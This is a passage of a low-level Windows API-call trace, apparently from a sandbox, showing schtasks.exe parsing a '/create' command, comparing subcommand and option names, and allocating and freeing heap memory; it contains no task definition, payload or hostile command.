_Buf2=0xff901b08, _Size=0x7) returned 0 [0089.299] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|query|") returned 7 [0089.299] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|f|") returned 3 [0089.299] lstrlenW (lpString="|query|") returned 7 [0089.299] lstrlenW (lpString="|f|") returned 3 [0089.299] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0089.299] SetLastError (dwErrCode=0x490) [0089.300] lstrlenW (lpString="change") returned 6 [0089.300] lstrlenW (lpString="change") returned 6 [0089.300] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.300] lstrlenW (lpString="f") returned 1 [0089.300] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.300] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|change|") returned 8 [0089.300] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|f|") returned 3 [0089.300] lstrlenW (lpString="|change|") returned 8 [0089.300] lstrlenW (lpString="|f|") returned 3 [0089.300] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0089.300] SetLastError (dwErrCode=0x490) [0089.300] lstrlenW (lpString="run") returned 3 [0089.300] lstrlenW (lpString="run") returned 3 [0089.300] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.300] lstrlenW (lpString="f") returned 1 [0089.300] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.300] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|run|") returned 5 [0089.300] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|f|") returned 3 [0089.300] lstrlenW (lpString="|run|") returned 5 [0089.300] lstrlenW (lpString="|f|") returned 3 [0089.300] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0089.300] SetLastError (dwErrCode=0x490) [0089.300] lstrlenW (lpString="end") returned 3 [0089.300] lstrlenW (lpString="end") returned 3 [0089.300] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.301] lstrlenW (lpString="f") returned 1 [0089.301] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.301] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|end|") returned 5 [0089.301] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|f|") returned 3 [0089.301] lstrlenW (lpString="|end|") returned 5 [0089.301] lstrlenW (lpString="|f|") returned 3 [0089.301] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0089.301] SetLastError (dwErrCode=0x490) [0089.301] lstrlenW (lpString="showsid") returned 7 [0089.301] lstrlenW (lpString="showsid") returned 7 [0089.301] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.301] lstrlenW (lpString="f") returned 1 [0089.301] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.301] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|showsid|") returned 9 [0089.301] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|f|") returned 3 [0089.301] lstrlenW (lpString="|showsid|") returned 9 [0089.301] lstrlenW (lpString="|f|") returned 3 [0089.301] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0089.301] SetLastError (dwErrCode=0x490) [0089.301] SetLastError (dwErrCode=0x490) [0089.301] SetLastError (dwErrCode=0x0) [0089.301] lstrlenW (lpString="/f") returned 2 [0089.301] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0089.301] SetLastError (dwErrCode=0x490) [0089.301] SetLastError (dwErrCode=0x0) [0089.302] lstrlenW (lpString="/f") returned 2 [0089.302] GetProcessHeap () returned 0x200000 [0089.302] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x6) returned 0x21dfb0 [0089.302] GetProcessHeap () returned 0x200000 [0089.302] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cf70 [0089.302] SetLastError (dwErrCode=0x0) [0089.302] GetProcessHeap () returned 0x200000 [0089.302] GetProcessHeap () returned 0x200000 [0089.302] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c360) returned 1 [0089.302] GetProcessHeap () returned 0x200000 [0089.302] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21c360) returned 0x8 [0089.302] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21c360 | out: hHeap=0x200000) returned 1 [0089.302] GetProcessHeap () returned 0x200000 [0089.302] GetProcessHeap () returned 0x200000 [0089.302] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cd90) returned 1 [0089.302] GetProcessHeap () returned 0x200000 [0089.302] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cd90) returned 0x20 [0089.303] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cd90 | out: hHeap=0x200000) returned 1 [0089.303] GetProcessHeap () returned 0x200000 [0089.303] GetProcessHeap () returned 0x200000 [0089.303] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c3f0) returned 1 [0089.303] GetProcessHeap () returned 0x200000 [0089.303] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21c3f0) returned 0x14 [0089.303] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21c3f0 | out: hHeap=0x200000) returned 1 [0089.303] GetProcessHeap () returned 0x200000 [0089.303] GetProcessHeap () returned 0x200000 [0089.303] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cdc0) returned 1 [0089.303] GetProcessHeap () returned 0x200000 [0089.303] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cdc0) returned 0x20 [0089.304] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cdc0 | out: hHeap=0x200000) returned 1 [0089.304] GetProcessHeap () returned 0x200000 [0089.304] GetProcessHeap () returned 0x200000 [0089.304] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c410) returned 1 [0089.304] GetProcessHeap () returned 0x200000 [0089.304] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21c410) returned 0x8 [0089.304] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21c410 | out: hHeap=0x200000) returned 1 [0089.304] GetProcessHeap () returned 0x200000 [0089.304] GetProcessHeap () returned 0x200000 [0089.304] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cdf0) returned 1 [0089.304] GetProcessHeap () returned 0x200000 [0089.304] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cdf0) returned 0x20 [0089.305] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cdf0 | out: hHeap=0x200000) returned 1 [0089.305] GetProcessHeap () returned 0x200000 [0089.305] GetProcessHeap () returned 0x200000 [0089.305] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c430) returned 1 [0089.305] GetProcessHeap () returned 0x200000 [0089.305] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21c430) returned 0xe [0089.305] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21c430 | out: hHeap=0x200000) returned 1 [0089.305] GetProcessHeap () returned 0x200000 [0089.305] GetProcessHeap () returned 0x200000 [0089.305] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21ce20) returned 1 [0089.305] GetProcessHeap () returned 0x200000 [0089.305] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21ce20) returned 0x20 [0089.306] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21ce20 | out: hHeap=0x200000) returned 1 [0089.306] GetProcessHeap () returned 0x200000 [0089.306] GetProcessHeap () returned 0x200000 [0089.306] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c450) returned 1 [0089.306] GetProcessHeap () returned 0x200000 [0089.306] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21c450) returned 0x8 [0089.306] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21c450 | out: hHeap=0x200000) returned 1 [0089.306] GetProcessHeap () returned 0x200000 [0089.306] GetProcessHeap () returned 0x200000 [0089.306] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21ce50) returned 1 [0089.306] GetProcessHeap () returned 0x200000 [0089.306] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21ce50) returned 0x20 [0089.307] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21ce50 | out: hHeap=0x200000) returned 1 [0089.307] GetProcessHeap () returned 0x200000 [0089.307] GetProcessHeap () returned 0x200000 [0089.307] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c470) returned 1 [0089.307] GetProcessHeap () returned 0x200000 [0089.307] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21c470) returned 0x4 [0089.307] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21c470 | out: hHeap=0x200000) returned 1 [0089.307] GetProcessHeap () returned 0x200000 [0089.307] GetProcessHeap () returned 0x200000 [0089.307] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21ce80) returned 1 [0089.307] GetProcessHeap () returned 0x200000 [0089.307] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21ce80) returned 0x20 [0089.308] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21ce80 | out: hHeap=0x200000) returned 1 [0089.308] GetProcessHeap () returned 0x200000 [0089.308] GetProcessHeap () returned 0x200000 [0089.308] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c490) returned 1 [0089.308] GetProcessHeap () returned 0x200000 [0089.308] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21c490) returned 0x8 [0089.308] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21c490 | out: hHeap=0x200000) returned 1 [0089.308] GetProcessHeap () returned 0x200000 [0089.308] GetProcessHeap () returned 0x200000 [0089.308] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21ceb0) returned 1 [0089.308] GetProcessHeap () returned 0x200000 [0089.308] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21ceb0) returned 0x20 [0089.309] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21ceb0 | out: hHeap=0x200000) returned 1 [0089.309] GetProcessHeap () returned 0x200000 [0089.309] GetProcessHeap () returned 0x200000 [0089.309] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21def0) returned 1 [0089.309] GetProcessHeap () returned 0x200000 [0089.309] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21def0) returned 0x8a [0089.309] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21def0 | out: hHeap=0x200000) returned 1 [0089.309] GetProcessHeap () returned 0x200000 [0089.310] GetProcessHeap () returned 0x200000 [0089.310] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cee0) returned 1 [0089.310] GetProcessHeap () returned 0x200000 [0089.310] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cee0) returned 0x20 [0089.310] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cee0 | out: hHeap=0x200000) returned 1 [0089.310] GetProcessHeap () returned 0x200000 [0089.310] GetProcessHeap () returned 0x200000 [0089.310] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21df90) returned 1 [0089.310] GetProcessHeap () returned 0x200000 [0089.310] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21df90) returned 0x8 [0089.310] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21df90 | out: hHeap=0x200000) returned 1 [0089.310] GetProcessHeap () returned 0x200000 [0089.310] GetProcessHeap () returned 0x200000 [0089.310] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cf10) returned 1 [0089.310] GetProcessHeap () returned 0x200000 [0089.310] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cf10) returned 0x20 [0089.311] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cf10 | out: hHeap=0x200000) returned 1 [0089.311] GetProcessHeap () returned 0x200000 [0089.311] GetProcessHeap () returned 0x200000 [0089.311] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d6a0) returned 1 [0089.311] GetProcessHeap () returned 0x200000 [0089.311] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d6a0) returned 0x10 [0089.311] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d6a0 | out: hHeap=0x200000) returned 1 [0089.311] GetProcessHeap () returned 0x200000 [0089.311] GetProcessHeap () returned 0x200000 [0089.311] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cf40) returned 1 [0089.311] GetProcessHeap () returned 0x200000 [0089.311] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cf40) returned 0x20 [0089.312] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cf40 | out: hHeap=0x200000) returned 1 [0089.312] GetProcessHeap () returned 0x200000 [0089.312] GetProcessHeap () returned 0x200000 [0089.312] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21dfb0) returned 1 [0089.312] GetProcessHeap () returned 0x200000 [0089.312] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21dfb0) returned 0x6 [0089.312] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21dfb0 | out: hHeap=0x200000) returned 1 [0089.312] GetProcessHeap () returned 0x200000 [0089.312] GetProcessHeap () returned 0x200000 [0089.312] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cf70) returned 1 [0089.312] GetProcessHeap () returned 0x200000 [0089.312] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cf70) returned 0x20 [0089.312] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cf70 | out: hHeap=0x200000) returned 1 [0089.313] GetProcessHeap () returned 0x200000 [0089.313] GetProcessHeap () returned 0x200000 [0089.313] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215590) returned 1 [0089.313] GetProcessHeap () returned 0x200000 [0089.313] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215590) returned 0x18 [0089.313] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215590 | out: hHeap=0x200000) returned 1 [0089.313] SetLastError (dwErrCode=0x0) [0089.313] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0089.313] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0089.313] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0089.313] VerifyVersionInfoW (in: lpVersionInformation=0x11c5b0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x11c5b0) returned 1 [0089.313] SetLastError (dwErrCode=0x0) [0089.313] lstrlenW (lpString="create") returned 6 [0089.313] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0089.313] SetLastError (dwErrCode=0x490) [0089.314] SetLastError (dwErrCode=0x0) [0089.314] lstrlenW (lpString="create") returned 6 [0089.314] GetProcessHeap () returned 0x200000 [0089.314] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cf70 [0089.314] GetProcessHeap () returned 0x200000 [0089.314] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21d6a0 [0089.314] _memicmp (_Buf1=0x21d6a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.314] GetProcessHeap () returned 0x200000 [0089.314] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x16) returned 0x21d6c0 [0089.314] SetLastError (dwErrCode=0x0) [0089.314] _memicmp (_Buf1=0x21bbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.314] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x21bd90, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0089.314] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0089.315] GetProcessHeap () returned 0x200000 [0089.315] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x74e) returned 0x21def0 [0089.315] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x21def0 | out: lpData=0x21def0) returned 1 [0089.315] VerQueryValueW (in: pBlock=0x21def0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x11c698, puLen=0x11c700 | out: lplpBuffer=0x11c698*=0x21e28c, puLen=0x11c700) returned 1 [0089.315] _memicmp (_Buf1=0x21bbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.315] _vsnwprintf (in: _Buffer=0x21bd90, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x11c678 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0089.315] VerQueryValueW (in: pBlock=0x21def0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x11c708, puLen=0x11c6f8 | out: lplpBuffer=0x11c708*=0x21e0b8, puLen=0x11c6f8) returned 1 [0089.315] lstrlenW (lpString="schtasks.exe") returned 12 [0089.315] lstrlenW (lpString="schtasks.exe") returned 12 [0089.315] lstrlenW (lpString=".EXE") returned 4 [0089.315] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0089.315] lstrlenW (lpString="schtasks.exe") returned 12 [0089.315] lstrlenW (lpString=".EXE") returned 4 [0089.316] lstrlenW (lpString="schtasks") returned 8 [0089.316] lstrlenW (lpString="/create") returned 7 [0089.316] _memicmp (_Buf1=0x21bbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.316] _vsnwprintf (in: _Buffer=0x21bd90, _BufferCount=0x19, _Format="%s %s", _ArgList=0x11c678 | out: _Buffer="schtasks /create") returned 16 [0089.316] _memicmp (_Buf1=0x21bc10, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.316] GetProcessHeap () returned 0x200000 [0089.316] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cf40 [0089.316] _memicmp (_Buf1=0x21bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.316] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x21d440, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0089.316] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0089.316] GetProcessHeap () returned 0x200000 [0089.316] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x30) returned 0x217c50 [0089.316] _vsnwprintf (in: _Buffer=0x21c190, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x11c678 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0089.316] GetProcessHeap () returned 0x200000 [0089.316] GetProcessHeap () returned 0x200000 [0089.316] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21def0) returned 1 [0089.316] GetProcessHeap () returned 0x200000 [0089.316] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21def0) returned 0x74e [0089.317] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21def0 | out: hHeap=0x200000) returned 1 [0089.317] SetLastError (dwErrCode=0x0) [0089.317] GetThreadLocale () returned 0x409 [0089.317] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.317] lstrlenW (lpString="create") returned 6 [0089.317] GetThreadLocale () returned 0x409 [0089.317] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.317] lstrlenW (lpString="?") returned 1 [0089.317] GetThreadLocale () returned 0x409 [0089.317] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.317] lstrlenW (lpString="s") returned 1 [0089.317] GetThreadLocale () returned 0x409 [0089.317] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.317] lstrlenW (lpString="u") returned 1 [0089.317] GetThreadLocale () returned 0x409 [0089.317] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.317] lstrlenW (lpString="p") returned 1 [0089.317] GetThreadLocale () returned 0x409 [0089.317] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.317] lstrlenW (lpString="ru") returned 2 [0089.317] GetThreadLocale () returned 0x409 [0089.317] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.317] lstrlenW (lpString="rp") returned 2 [0089.317] GetThreadLocale () returned 0x409 [0089.317] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.317] lstrlenW (lpString="sc") returned 2 [0089.318] GetThreadLocale () returned 0x409 [0089.318] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.318] lstrlenW (lpString="mo") returned 2 [0089.318] GetThreadLocale () returned 0x409 [0089.318] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.318] lstrlenW (lpString="d") returned 1 [0089.318] GetThreadLocale () returned 0x409 [0089.318] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.320] lstrlenW (lpString="m") returned 1 [0089.320] GetThreadLocale () returned 0x409 [0089.320] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.320] lstrlenW (lpString="i") returned 1 [0089.320] GetThreadLocale () returned 0x409 [0089.320] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.320] lstrlenW (lpString="tn") returned 2 [0089.320] GetThreadLocale () returned 0x409 [0089.320] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.320] lstrlenW (lpString="tr") returned 2 [0089.320] GetThreadLocale () returned 0x409 [0089.320] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.320] lstrlenW (lpString="st") returned 2 [0089.320] GetThreadLocale () returned 0x409 [0089.320] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.320] lstrlenW (lpString="sd") returned 2 [0089.320] GetThreadLocale () returned 0x409 [0089.320] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.320] lstrlenW (lpString="ed") returned 2 [0089.321] GetThreadLocale () returned 0x409 [0089.321] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.321] lstrlenW (lpString="it") returned 2 [0089.321] GetThreadLocale () returned 0x409 [0089.321] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.321] lstrlenW (lpString="et") returned 2 [0089.321] GetThreadLocale () returned 0x409 [0089.321] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.321] lstrlenW (lpString="k") returned 1 [0089.321] GetThreadLocale () returned 0x409 [0089.321] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.321] lstrlenW (lpString="du") returned 2 [0089.321] GetThreadLocale () returned 0x409 [0089.321] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.321] lstrlenW (lpString="ri") returned 2 [0089.321] GetThreadLocale () returned 0x409 [0089.321] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.321] lstrlenW (lpString="z") returned 1 [0089.321] GetThreadLocale () returned 0x409 [0089.321] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.321] lstrlenW (lpString="f") returned 1 [0089.321] GetThreadLocale () returned 0x409 [0089.321] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.321] lstrlenW (lpString="v1") returned 2 [0089.321] GetThreadLocale () returned 0x409 [0089.321] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.321] lstrlenW (lpString="xml") returned 3 [0089.321] GetThreadLocale () returned 0x409 [0089.322] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.322] lstrlenW (lpString="ec") returned 2 [0089.322] GetThreadLocale () returned 0x409 [0089.322] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.322] lstrlenW (lpString="rl") returned 2 [0089.322] GetThreadLocale () returned 0x409 [0089.322] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.322] lstrlenW (lpString="delay") returned 5 [0089.322] GetThreadLocale () returned 0x409 [0089.322] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.322] lstrlenW (lpString="np") returned 2 [0089.322] SetLastError (dwErrCode=0x0) [0089.322] SetLastError (dwErrCode=0x0) [0089.322] lstrlenW (lpString="/create") returned 7 [0089.322] lstrlenW (lpString="-/") returned 2 [0089.322] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0089.322] lstrlenW (lpString="create") returned 6 [0089.322] lstrlenW (lpString="create") returned 6 [0089.322] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.322] lstrlenW (lpString="create") returned 6 [0089.322] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.322] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|create|") returned 8 [0089.322] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|create|") returned 8 [0089.322] lstrlenW (lpString="|create|") returned 8 [0089.322] lstrlenW (lpString="|create|") returned 8 